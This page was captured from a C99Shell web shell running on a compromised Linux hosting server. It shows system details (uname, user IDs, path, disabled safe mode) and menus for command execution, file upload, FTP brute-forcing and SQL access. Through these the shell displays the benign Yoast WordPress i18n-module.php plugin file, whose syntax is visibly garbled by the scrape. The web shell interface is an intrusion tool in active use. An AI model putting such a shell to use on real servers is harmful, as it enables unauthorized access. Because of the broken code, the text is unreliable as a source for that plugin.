!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-content/plugins/wordpress-seo/vendor/yoast/i18n-module/src/   drwxr-xr-x
Free 182.59 GB of 490.84 GB (37.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     i18n-module.php (8.6 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * This class defines a promo box and checks your translation site's API for stats about it, then shows them to the user.
 */
class Yoast_I18n_v2 {

    
/**
     * Your translation site's logo
     *
     * @var string
     */
    
private $glotpress_logo;

    
/**
     * Your translation site's name
     *
     * @var string
     */
    
private $glotpress_name;

    
/**
     * Your translation site's URL
     *
     * @var string
     */
    
private $glotpress_url;

    
/**
     * The URL to actually do the API request to
     *
     * @var string
     */
    
private $api_url;

    
/**
     * Hook where you want to show the promo box
     *
     * @var string
     */
    
private $hook;

    
/**
     * Will contain the site's locale
     *
     * @access private
     * @var string
     */
    
private $locale;

    
/**
     * Will contain the locale's name, obtained from your translation site
     *
     * @access private
     * @var string
     */
    
private $locale_name;

    
/**
     * Will contain the percentage translated for the plugin translation project in the locale
     *
     * @access private
     * @var int
     */
    
private $percent_translated;

    
/**
     * Name of your plugin
     *
     * @var string
     */
    
private $plugin_name;

    
/**
     * Project slug for the project on your translation site
     *
     * @var string
     */
    
private $project_slug;

    
/**
     * URL to point to for registration links
     *
     * @var string
     */
    
private $register_url;

    
/**
     * Your plugins textdomain
     *
     * @var string
     */
    
private $textdomain;

    
/**
     * Indicates whether there's a translation available at all.
     *
     * @access private
     * @var bool
     */
    
private $translation_exists;

    
/**
     * Indicates whether the translation's loaded.
     *
     * @access private
     * @var bool
     */
    
private $translation_loaded;

    
/**
     * Class constructor
     *
     * @param array $args Contains the settings for the class.
     */
    
public function __construct$args ) {
        if ( ! 
is_admin() ) {
            return;
        }

        
$this->locale $this->get_admin_locale();
        if ( 
'en_US' === $this->locale ) {
            return;
        }

        
$this->init$args );

        if ( ! 
$this->hide_promo() ) {
            
add_action$this->hook, array( $this'promo' ) );
        }
    }

    
/**
     * Returns the locale used in the admin.
     *
     * WordPress 4.7 introduced the ability for users to specify an Admin language
     * different from the language used on the front end. This checks if the feature
     * is available and returns the user's language, with a fallback to the site's language.
     * Can be removed when support for WordPress 4.6 will be dropped, in favor
     * of WordPress get_user_locale() that already fallbacks to the site’s locale.
     *
     * @returns string The locale.
     */
    
private function get_admin_locale() {
        if ( 
function_exists'get_user_locale' ) ) {
            return 
get_user_locale();
        }

        return 
get_locale();
    }

    
/**
     * This is where you decide where to display the messages and where you set the plugin specific variables.
     *
     * @access private
     *
     * @param array $args
     */
    
private function init$args ) {
        foreach ( 
$args as $key => $arg ) {
            
$this->$key $arg;
        }
    }

    
/**
     * Check whether the promo should be hidden or not
     *
     * @access private
     *
     * @return bool
     */
    
private function hide_promo() {
        
$hide_promo get_transient'yoast_i18n_' $this->project_slug '_promo_hide' );
        if ( ! 
$hide_promo ) {
            if ( 
filter_inputINPUT_GET'remove_i18n_promo'FILTER_VALIDATE_INT ) === ) {
                
// No expiration time, so this would normally not expire, but it wouldn't be copied to other sites etc.
                
set_transient'yoast_i18n_' $this->project_slug '_promo_hide'true );
                
$hide_promo true;
            }
        }

        return 
$hide_promo;
    }

    
/**
     * Generates a promo message
     *
     * @access private
     *
     * @return bool|string $message
     */
    
private function promo_message() {
        
$message false;

        if ( 
$this->translation_exists && $this->translation_loaded && $this->percent_translated 90 ) {
            
$message __'As you can see, there is a translation of this plugin in %1$s. This translation is currently %3$d%% complete. We need your help to make it complete and to fix any errors. Please register at %4$s to help complete the translation to %1$s!'$this->textdomain );
        } else if ( ! 
$this->translation_loaded && $this->translation_exists ) {
            
$message __'You\'re using WordPress in %1$s. While %2$s has been translated to %1$s for %3$d%%, it\'s not been shipped with the plugin yet. You can help! Register at %4$s to help complete the translation to %1$s!'$this->textdomain );
        } else if ( ! 
$this->translation_exists ) {
            
$message __'You\'re using WordPress in a language we don\'t support yet. We\'d love for %2$s to be translated in that language too, but unfortunately, it isn\'t right now. You can change that! Register at %4$s to help translate it!'$this->textdomain );
        }

        
$registration_link sprintf'<a href="%1$s">%2$s</a>'esc_url$this->register_url ), esc_html$this->glotpress_name ) );
        
$message           sprintf$messageesc_html$this->locale_name ), esc_html$this->plugin_name ), $this->percent_translated$registration_link );

        return 
$message;
    }

    
/**
     * Outputs a promo box
     */
    
public function promo() {
        
$this->translation_details();

        
$message $this->promo_message();

        if ( 
$message ) {
            echo 
'<div id="i18n_promo_box" style="border:1px solid #ccc;background-color:#fff;padding:10px;max-width:650px; overflow: hidden;">';
                echo 
'<a href="' esc_urladd_query_arg( array( 'remove_i18n_promo' => '1' ) ) ) . '" style="color:#333;text-decoration:none;font-weight:bold;font-size:16px;border:1px solid #ccc;padding:1px 4px;" class="alignright">X</a>';

                echo 
'<div>';
                    echo 
'<h2>' sprintf__'Translation of %s'$this->textdomain ), $this->plugin_name ) . '</h2>';
                    if ( isset( 
$this->glotpress_logo ) && '' != $this->glotpress_logo ) {
                        echo 
'<a href="' esc_url$this->register_url ) . '"><img class="alignright" style="margin:0 5px 5px 5px;max-width:200px;" src="' esc_url$this->glotpress_logo ) . '" alt="' esc_attr$this->glotpress_name ) . '"/></a>';
                    }
                    echo 
'<p>' $message '</p>';
                    echo 
'<p><a href="' esc_url$this->register_url ) . '">' __'Register now &raquo;'$this->textdomain ) . '</a></p>';
                echo 
'</div>';
            echo 
'</div>';
        }
    }

    
/**
     * Try to find the transient for the translation set or retrieve them.
     *
     * @access private
     *
     * @return object|null
     */
    
private function find_or_initialize_translation_details() {
        
$set get_transient'yoast_i18n_' $this->project_slug '_' $this->locale );

        if ( ! 
$set ) {
            
$set $this->retrieve_translation_details();
            
set_transient'yoast_i18n_' $this->project_slug '_' $this->locale$setDAY_IN_SECONDS );
        }

        return 
$set;
    }

    
/**
     * Try to get translation details from cache, otherwise retrieve them, then parse them.
     *
     * @access private
     */
    
private function translation_details() {
        
$set $this->find_or_initialize_translation_details();

        
$this->translation_exists = ! is_null$set );
        
$this->translation_loaded is_textdomain_loaded$this->textdomain );

        
$this->parse_translation_set$set );
    }

    
/**
     * The API URL to use when requesting translation information.
     *
     * @param string $api_url The new API URL.
     */
    
public function set_api_url$api_url ) {
        
$this->api_url $api_url;
    }

    
/**
     * Returns the API URL to use when requesting translation information.
     *
     * @return string
     */
    
private function get_api_url() {
        if ( empty( 
$this->api_url ) ) {
            
$this->api_url trailingslashit$this->glotpress_url ) . 'api/projects/' $this->project_slug;
        }

        return 
$this->api_url;
    }

    
/**
     * Retrieve the translation details from Yoast Translate
     *
     * @access private
     *
     * @return object|null
     */
    
private function retrieve_translation_details() {
        
$api_url $this->get_api_url();

        
$resp wp_remote_get$api_url );
        if ( 
is_wp_error$resp ) || wp_remote_retrieve_response_code$resp ) !== 200 ) {
            return 
null;
        }
        
$body wp_remote_retrieve_body$resp );
        unset( 
$resp );

        if ( 
$body ) {
            
$body json_decode$body );
            if ( empty( 
$body->translation_sets ) ) {
                return 
null;
            }
            foreach ( 
$body->translation_sets as $set ) {
                if ( ! 
property_exists$set'wp_locale' ) ) {
                    continue;
                }

                if ( 
$this->locale === $set->wp_locale ) {
                    return 
$set;
                }
            }
        }

        return 
null;
    }

    
/**
     * Set the needed private variables based on the results from Yoast Translate
     *
     * @param object $set The translation set
     *
     * @access private
     */
    
private function parse_translation_set$set ) {
        if ( 
$this->translation_exists && is_object$set ) ) {
            
$this->locale_name        $set->name;
            
$this->percent_translated $set->percent_translated;
        } else {
            
$this->locale_name        '';
            
$this->percent_translated '';
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0741 ]--